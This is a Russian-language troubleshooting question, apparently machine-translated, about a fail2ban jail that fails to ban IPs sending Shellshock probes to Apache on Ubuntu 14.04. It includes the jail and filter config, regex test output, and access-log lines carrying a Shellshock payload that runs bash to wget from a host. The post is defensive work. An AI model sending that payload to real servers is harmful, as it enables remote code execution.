правила fail2ban не входят в effect

Я установил веб-сервер Apache в стандартной версии Ubuntu 14.04, и я пытаюсь использовать fail2ban для блокировки запросов, которые проверяют уязвимости.

У меня есть поместите следующее в /etc/fail2ban/jail.local :

[apache-vulnerability-scan]

enabled  = true
port     = http,https
filter   = apache-vulnerability-scan
logpath  = /var/log/apache*/*access.log
maxretry = 1

Определение правила находится в /etc/fail2ban/filter.d/apache-vulnerability-scan.conf :

[Definition]

failregex = ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$

ignoreregex =

Для тех, кто не знаком с правилами Ubuntu по умолчанию для fail2ban, Вот некоторые из основных правил:

ignoreip = 127.0.0.1/8
bantime  = 600
findtime = 600
maxretry = 3
backend = auto
usedns = warn
protocol = tcp
chain = INPUT

Однако я могу делать запросы без fail2ban, блокируя мой IP-адрес, даже если для параметра maxretry установлено значение 1 .

10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:43 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"

Статус фильтра вроде в порядке:

# fail2ban-client status apache-vulnerability-scan
Status for the jail: apache-vulnerability-scan
|- filter
|  |- File list:        /var/log/apache2/other_vhosts_access.log /var/log/apache
2/access.log
|  |- Currently failed: 0
|  `- Total failed:     0
`- action
   |- Currently banned: 0
   |  `- IP list:
   `- Total banned:     0

Как кажется, само правило:

Running tests
=============

Use   failregex file : /etc/fail2ban/filter.d/apache-vulnerability-scan.conf
Use         log file : /var/log/apache2/access.log


Results
=======

Failregex: 10 total
|-  #) [# of hits] regular expression
|   1) [10] ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$
|      10.0.2.2  Sat Nov 21 00:11:40 2015
|      10.0.2.2  Sat Nov 21 00:11:40 2015
|      10.0.2.2  Sat Nov 21 00:11:40 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:42 2015
|      10.0.2.2  Sat Nov 21 00:11:42 2015
|      10.0.2.2  Sat Nov 21 00:11:43 2015
`-

Ignoreregex: 0 total

Date template hits:
|- [# of hits] date format
|  [13] Day/MONTH/Year:Hour:Minute:Second
|  [0] WEEKDAY MONTH Day Hour:Minute:Second[.subsecond] Year
|  [0] WEEKDAY MONTH Day Hour:Minute:Second Year
|  [0] WEEKDAY MONTH Day Hour:Minute:Second
|  [0] MONTH Day Hour:Minute:Second
|  [0] Year/Month/Day Hour:Minute:Second
|  [0] Day/Month/Year Hour:Minute:Second
|  [0] Day/Month/Year2 Hour:Minute:Second
|  [0] Month/Day/Year:Hour:Minute:Second
|  [0] Year-Month-Day Hour:Minute:Second[,subsecond]
|  [0] Year-Month-Day Hour:Minute:Second
|  [0] Year.Month.Day Hour:Minute:Second
|  [0] Day-MONTH-Year Hour:Minute:Second[.Millisecond]
|  [0] Day-Month-Year Hour:Minute:Second
|  [0] Month-Day-Year Hour:Minute:Second[.Millisecond]
|  [0] TAI64N
|  [0] Epoch
|  [0] ISO 8601
|  [0] Hour:Minute:Second
|  [0] <Month/Day/Year@Hour:Minute:Second>
|  [0] YearMonthDay Hour:Minute:Second
|  [0] Month-Day-Year Hour:Minute:Second
`-

Lines: 13 lines, 0 ignored, 12 matched, 1 missed
|- Missed line(s):
|  10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"
`-

Почему правила fail2ban не вступают в силу? Что я здесь делаю не так?